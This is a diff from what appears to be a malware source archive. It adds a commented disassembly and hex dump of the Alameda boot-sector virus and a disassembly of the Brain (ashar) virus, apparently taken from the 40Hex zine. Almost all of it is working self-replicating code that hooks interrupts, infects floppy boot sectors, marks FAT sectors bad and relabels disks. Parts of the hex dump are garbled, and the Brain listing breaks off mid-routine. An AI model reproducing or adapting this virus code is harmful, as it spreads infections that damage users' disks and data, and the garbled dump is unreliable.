ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; The Norton Utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Pakistani Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH + POP CS ; CS = ES + ; + PUSH DS ;DS=0 ;ES = DS + POP ES ; + ; + MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; + DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; Reinfection segment. ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; Reinfection Segment. ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 + +A7DFC DB 27H,0,8,2 + +END +;-----------------------------------------------------------------------; +; Hexadecimal representation. ; +;-----------------------------------------------------------------------; +;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 z1@.P<.|{;@..[!. +;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`..@....V4u. +;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N +;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h....... +;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8. +;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$ +;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D +;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'. +;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'. +;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#& +;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P +;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..< +;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk.. +;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t..{9.. +;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8 +;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p +;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e +;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 .p1@.X!..(.u.. +;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8 +;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg +;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.| +;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x +;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r.. +;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9 +;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h. +;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x}; +;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l +;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'... +;---------------------------------------------------------------------; +End of commented code for the Alameda College Boot Infector Virus. \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.brain.asm b/MSDOS/Virus.MSDOS.Unknown.brain.asm new file mode 100644 index 00000000..efca5ee9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.brain.asm @@ -0,0 +1,687 @@ +40Hex Number 8 Volume 2 Issue 4 File 008 + +; This is the ashar variant of the classic Pakistani Brain virus. It is large +; by today's standards, although it was one of the first. It is a floppy only +; boot sector infector. + +brain segment byte public + assume cs:brain, ds:brain +; Disassembly done by Dark Angel of PHALCON/SKISM + org 0 + + cli + jmp entervirus +idbytes db 34h, 12h +firsthead db 0 +firstsector dw 2707h +curhead db 0 +cursector dw 1 + db 0, 0, 0, 0 + db 'Welcome to the Dungeon ' +copyright db '(c) 1986 Brain' + db 17h + db '& Amjads (pvt) Ltd VIRUS_SHOE ' + db ' RECORD v9.0 Dedicated to th' + db 'e dynamic memories of millions o' + db 'f virus who are no longer with u' + db 's today - Thanks GOODNESS!! ' + db ' BEWARE OF THE er..VIRUS : \th' + db 'is program is catching prog' + db 'ram follows after these messeges' + db '..... $' + db '#@%$' + db '@!! ' +entervirus: + mov ax,cs + mov ds,ax ; ds = 0 + mov ss,ax ; set stack to after + mov sp,0F000h ; virus + sti + mov al,ds:[7C00h+offset firsthead] + mov ds:[7C00h+offset curhead],al + mov cx,ds:[7C00h+offset firstsector] + mov ds:[7C00h+offset cursector],cx + call calcnext + mov cx,5 ; read five sectors + mov bx,7C00h+200h ; after end of virus + +loadnext: + call readdisk + call calcnext + add bx,200h + loop loadnext + + mov ax,word ptr ds:[413h] ; Base memory size in Kb + sub ax,7 ; - 7 Kb + mov word ptr ds:[413h],ax ; Insert as new value + mov cl,6 + shl ax,cl ; Convert to paragraphs + mov es,ax + mov si,7C00h ; Copy from virus start + mov di,0 ; to start of memory + mov cx,1004h ; Copy 1004h bytes + cld + rep movsb + push es + mov ax,200h + push ax + retf ; return to old boot sector + +readdisk: + push cx + push bx + mov cx,4 ; Try 4 times + +tryread: + push cx + mov dh,ds:[7C00h+offset curhead] + mov dl,0 ; Read sector from default + mov cx,ds:[7C00h+offset cursector] + mov ax,201h ; Disk to memory at es:bx + int 13h + jnc readOK + mov ah,0 ; Reset disk + int 13h ; (force read track 0) + pop cx + loop tryread + + int 18h ; ROM basic on failure +readOK: + pop cx + pop bx + pop cx + retn + +calcnext: + mov al,byte ptr ds:[7C00h+offset cursector] + inc al + mov byte ptr ds:[7C00h+offset cursector],al + cmp al,0Ah + jne donecalc + mov byte ptr ds:[7C00h+offset cursector],1 + mov al,ds:[7C00h+offset curhead] + inc al + mov ds:[7C00h+offset curhead],al + cmp al,2 + jne donecalc + mov byte ptr ds:[7C00h+offset curhead],0 + inc byte ptr ds:[7C00h+offset cursector+1] +donecalc: + retn + +; the following is a collection of garbage bytes + db 00h, 00h, 00h, 00h, 32h,0E3h + db 23h, 4Dh, 59h,0F4h,0A1h, 82h + db 0BCh,0C3h, 12h, 00h, 7Eh, 12h + db 0CDh, 21h,0A2h, 3Ch, 5Fh +a_data dw 050Ch +; Second part of the virus begins here + jmp short entersecondpart + db '(c) 1986 Brain & Amjads (pvt) Ltd ',0 +readcounter db 4 ; keep track of # reads +curdrive db 0 +int13flag db 0 + +entersecondpart: + mov cs:readcounter,1Fh + xor ax,ax + mov ds,ax ; ds -> interrupt table + mov ax,ds:[13h*4] + mov ds:[6Dh*4],ax + mov ax,ds:[13h*4+2] + mov ds:[6Dh*4+2],ax + mov ax,offset int13 ; 276h + mov ds:[13h*4],ax + mov ax,cs + mov ds:[13h*4+2],ax + mov cx,4 ; 4 tries + xor ax,ax + mov es,ax ; es -> interrupt table + +tryreadbootsector: + push cx + mov dh,cs:firsthead + mov dl,0 + mov cx,cs:firstsector + mov ax,201h ; read from default disk + mov bx,7C00h + int 6Dh ; int 13h + jnc readbootOK + mov ah,0 + int 6Dh ; int 13h + pop cx + loop tryreadbootsector + + int 18h ; ROM basic on failure +readbootOK: ; return control to + ; original boot sector +;* jmp far ptr 0000:7C00h + db 0EAh, 00h, 7Ch, 00h, 00h + nop ; MASM NOP!!! +int13: + sti + cmp ah,2 ; if not read request, + jne doint13 ; do not go further + cmp dl,2 ; if after second floppy, + ja doint13 ; do not go further + cmp ch,0 ; if not reading boot sector, + jne regularread ; go handle as usual + cmp dh,0 ; if boot sector, + je readboot ; do I<-/>/\|> stuff +regularread: + dec cs:readcounter ; Infect after 4 reads + jnz doint13 ; If counter still OK, don't + ; do anything else + jmp short readboot ; Otherwise, try to infect +doint13: + jmp exitint13h +readboot: +; FINISH THIS! + mov cs:int13flag,0 ; clear flag + mov cs:readcounter,4 ; reset counter + push ax + push bx + push cx + push dx + mov cs:curdrive,dl + mov cx,4 + +tryreadbootblock: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errorreadingbootblock ; Try again + mov dh,0 + mov cx,1 + mov bx,offset readbuffer ; buffer @ 6BEh + push es + mov ax,cs + mov es,ax + mov ax,201h + int 6Dh ; Read boot sector + pop es + jnc continuestuff ; continue if no error +errorreadingbootblock: + pop cx + loop tryreadbootblock + + jmp short resetdisk ; too many failures + nop +continuestuff: + pop cx ; get system id in boot block + mov ax,word ptr cs:[offset readbuffer+4] + cmp ax,1234h ; already infected? + jne dodisk ; if not, infect it + mov cs:int13flag,1 ; flag prev. infection + jmp short noreset +dodisk: + push ds + push es + mov ax,cs + mov ds,ax + mov es,ax + push si + call writevirus ; infect the disk + jc failme ; exit on failure + mov cs:int13flag,2 ; flag success + call changeroot ; manipulate volume label +failme: + pop si + pop es + pop ds + jnc noreset ; don't reset on success +resetdisk: + mov ah,0 ; reset disk + int 6Dh ; int 13h +noreset: + pop dx + pop cx + pop bx + pop ax + cmp cx,1 + jne exitint13h + cmp dh,0 + jne exitint13h + cmp cs:int13flag,1 ; already infected? + jne wasntinfected ; if wasn't, go elsewhere + mov cx,word ptr cs:[offset readbuffer+7] + mov dx,word ptr cs:[offset readbuffer+5] + mov dl,cs:curdrive ; otherwise, read real + jmp short exitint13h ; boot sector +wasntinfected: + cmp cs:int13flag,2 ; successful infection? + jne exitint13h ; if not, just do call + mov cx,cs:firstsector + mov dh,cs:firsthead +exitint13h: + int 6Dh ; int 13h + retf 2 + db 15 dup (0) + +FATManip: ; returns al as error code + jmp short delvedeeper + nop +FATManipreadcounter dw 3 + db ' (c) 1986 Brain & Amjads (pvt) Ltd' +delvedeeper: + call readFAT ; Get FAT ID byte + mov ax,word ptr ds:[offset readbuffer] + cmp ax,0FFFDh ; is it 360K disk? + je is360Kdisk ; continue if so + mov al,3 ; al=3 == not good disk + stc ; flag error + retn ; and exit +is360Kdisk: + mov cx,37h + mov FATManipreadcounter,0 ; none found yet +checknextsector: + call FATentry12bit ; get entry in FAT + cmp ax,0 ; unused? + jne notunused + inc FATManipreadcounter ; one more found unused + cmp FATManipreadcounter,3 ; If need more, + jne tryanother ; go there + jmp short markembad ; found 3 consecutive + nop ; empty sectors +notunused: + mov FATManipreadcounter,0 ; must start over +tryanother: + inc cx ; try next sector + cmp cx,163h ; end of disk? + jne checknextsector ; if not, continue + mov al,1 ; al=1 == none empty + stc ; Indicate error + retn +markembad: + mov dl,3 ; 3 times +markanotherbad: + call markbad12bit + dec cx + dec dl + jnz markanotherbad + inc cx + call calc1sttrack + call writeFAT ; update FAT + mov al,0 ; al=0 == ok + clc ; indicate success + retn + +markbad12bit: + push cx + push dx + mov si,offset readbuffer ; si -> buffer + mov al,cl + shr al,1 + jc low_12 ; low bits + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0F000h ; mark it bad + or ax,0FF7h + jmp short putitback ; and put it back + nop +low_12: + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0Fh ; mark it bad + or ax,0FF70h +putitback: + mov [bx+si],ax ; replace FAT entry + mov word ptr ds:[400h][bx+si],ax ; in two places + pop dx + pop cx + retn + +FATentry12bit: + push cx + mov si,offset readbuffer ; si->buffer + mov al,cl + shr al,1 +; Part 3 of the virus starts here + jc want_high_12 + call clus2offset12bit + mov ax,[bx+si] + and ax,0FFFh + jmp short exitFATentry12bit + nop +want_high_12: + call clus2offset12bit ; xxxxxxxxxxxx0000 + mov ax,[bx+si] ; ^^^^^^^^^^^^wanted + and ax,0FFF0h ; mask wanted bits + mov cl,4 ; and move to correct + shr ax,cl ; position +exitFATentry12bit: + pop cx + retn + +clus2offset12bit: + push dx + mov ax,3 + mul cx + shr ax,1 ; ax = cx*1.5 + mov bx,ax + pop dx + retn + +readFAT: + mov ah,2 ; read + call FAT_IO + retn + +writeFAT: + mov ah,3 ; write + call FAT_IO + retn + +FAT_IO: + mov cx,4 ; try four times +FAT_IOLoop: + push cx + push ax + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop ax + jc tryFAT_IOagain + mov bx,offset readbuffer + mov al,4 ; 4 sectors + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,2 ; sector 2 + push ax ; (FAT) + int 6Dh ; int 13h + pop ax + jnc exitFAT_IO +tryFAT_IOagain: + pop cx + loop FAT_IOLoop + + pop ax + pop ax + mov al,2 + stc ; mark error + retn +exitFAT_IO: + pop cx + retn + +calc1sttrack: + push cx + sub cx,2 + shl cx,1 ; 2 sectors/cluster + add cx,0Ch ; start of data area + mov ax,cx ; ax = sector + mov cl,12h ; 4096 + div cl ; ax/4096 = al rem ah + mov byte ptr firstsector+1,al + mov firsthead,0 + inc ah + cmp ah,9 ; past track 9? + jbe notpasttrack9 ; nope, we are ok + sub ah,9 ; otherwise, adjust + mov firsthead,1 +notpasttrack9: + mov byte ptr firstsector,ah + pop cx + retn + + db 0, 0, 0, 0, 0, 0 +r_or_w_root db 3 +entrycount dw 35h + +tempsave1 dw 303h +tempsave2 dw 0EBEh +tempsave3 dw 1 +tempsave4 dw 100h + db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh + db 8Dh, 98h, 9Fh, 8Eh,0E0h + db ' (c) ashar $' +changeroot: + call readroot ; read in root directory + jc donotchangeroot + push di + call changevolume ; change volume label + pop di + jc donotchangeroot + call writeroot ; write back new root dir +donotchangeroot: + retn +; The following is just garbage bytes + db 0BBh, 9Bh, 04h,0B9h, 0Bh + db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h + db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h + db 0C6h, 06h + +changevolume: + mov entrycount,6Ch + mov si,offset readbuffer+40h; 3nd dir entry + mov tempsave1,dx + mov ax,entrycount ; 6Ch + shr ax,1 + mov tempsave3,ax ; 36h + shr ax,1 + mov tempsave2,ax ; 1Bh + xchg ax,cx + and cl,43h ; cx = 3 + mov di,tempsave2 + add di,1E3h ; di = 01FE +findlabel: + mov al,[si] + cmp al,0 + je dolabel ; no mo entries + mov al,[si+0Bh] ; attribute byte + and al,8 ; volume label? + cmp al,8 ; yes? + je dolabel ; then change it! + add si,20h ; go to next directory entry + dec entrycount + jnz findlabel ; loop back + stc ; Error! + retn + db 8Bh +dolabel: + mov bx,[di] ; offset a_data + xor bx,tempsave3 ; bx = 53Ah + mov tempsave3,si ; si->direntry + cli + mov ax,ss + mov tempsave1,ax + mov tempsave2,sp + mov ax,cs + mov ss,ax + mov sp,tempsave3 + add sp,0Ch ;->reserved area + mov cl,51h + add dx,444Ch + mov di,2555h + mov cx,0C03h + repe cmpsw + mov ax,0B46h + mov cx,3 + rol ax,cl ; ax = 5A30h + mov tempsave3,ax + mov cx,5 + mov dx,8 + sub tempsave3,5210h ; 820h + push tempsave3 ; store attributes/reserved +; I haven't commented the remainder of this procedure. +; It basically changes the volume label to read "(c) Brain" + +; Comment mode OFF + +dowhatever: + mov ah,[bx] ; 5a3h + inc bx + mov dl,ah + shl dl,1 + jc dowhatever +searchstuff: + mov dl,[bx] ; dl=C2h + inc bx ; bx=53Eh + mov al,dl + shl dl,1 + jc searchstuff + add ax,1D1Dh + push ax + inc tempsave3 + db 73h, 01h ; jnc $+3 + db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 + xchg bp,ax + add al,0A1h + xchg bx,ax + add al,8Eh + sar bl,1 + add dh,[bp+si] + clc + ret + ;db 95h, 04h,0A1h, 93h, 04h, 8Eh + ;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h + +; Comment mode ON + +readroot: + mov r_or_w_root,2 ; set action code + jmp short do_rw_root ; easier to do w/ + nop ; mov ah, 2 +writeroot: + mov r_or_w_root,3 + jmp short do_rw_root ; this is somewhat useless + nop +do_rw_root: + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,6 ; sector 6 + mov ah,r_or_w_root + mov al,4 ; 4 sectors + mov bx,offset readbuffer + call doint13h + jc exit_rw_root ; quit on error + mov cx,1 + mov dh,1 ; head 1 + mov ah,r_or_w_root + mov al,3 + add bx,800h + call doint13h + +exit_rw_root: + retn + +doint13h: + mov tempsave1,ax + mov tempsave2,bx + mov tempsave3,cx + mov tempsave4,dx + mov cx,4 + +doint13hloop: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errordoingint13h + mov ax,tempsave1 + mov bx,tempsave2 + mov cx,tempsave3 + mov dx,tempsave4 + int 6Dh ; int 13h + jnc int13hsuccess +errordoingint13h: + pop cx + loop doint13hloop + + stc ; indicate error + retn +int13hsuccess: + pop cx + retn + + db 0, 0, 0 +; Part 4 of the virus starts here +tempstorecx dw 3 +readwritecurrentdata dw 301h + +writevirus: + call FATManip + jc exitwritevirus + mov cursector,1 + mov curhead,0 + mov bx,offset readbuffer + call readcurrent + mov bx,offset readbuffer + mov ax,firstsector + mov cursector,ax + mov ah,firsthead + mov curhead,ah + call writecurrent + call calcnextsector + mov cx,5 + mov bx,200h +writeanothersector: + mov tempstorecx,cx + call writecurrent + call calcnextsector + add bx,200h + mov cx,tempstorecx + loop writeanothersector + + mov curhead,0 + mov cursector,1 + mov bx,0 + call writecurrent + clc ; indicate success +exitwritevirus: + retn + + +readcurrent: + mov readwritecurrentdata,201h + jmp short doreadwrite + nop +writecurrent: + mov readwritecurrentdata,301h + jmp short doreadwrite ; This is pointless. + nop +doreadwrite: + push bx + mov cx,4 + +tryreadwriteagain: + push cx + mov dh,curhead + mov dl,curdrive + mov cx,cursector + mov ax,readwritecurrentdata ; 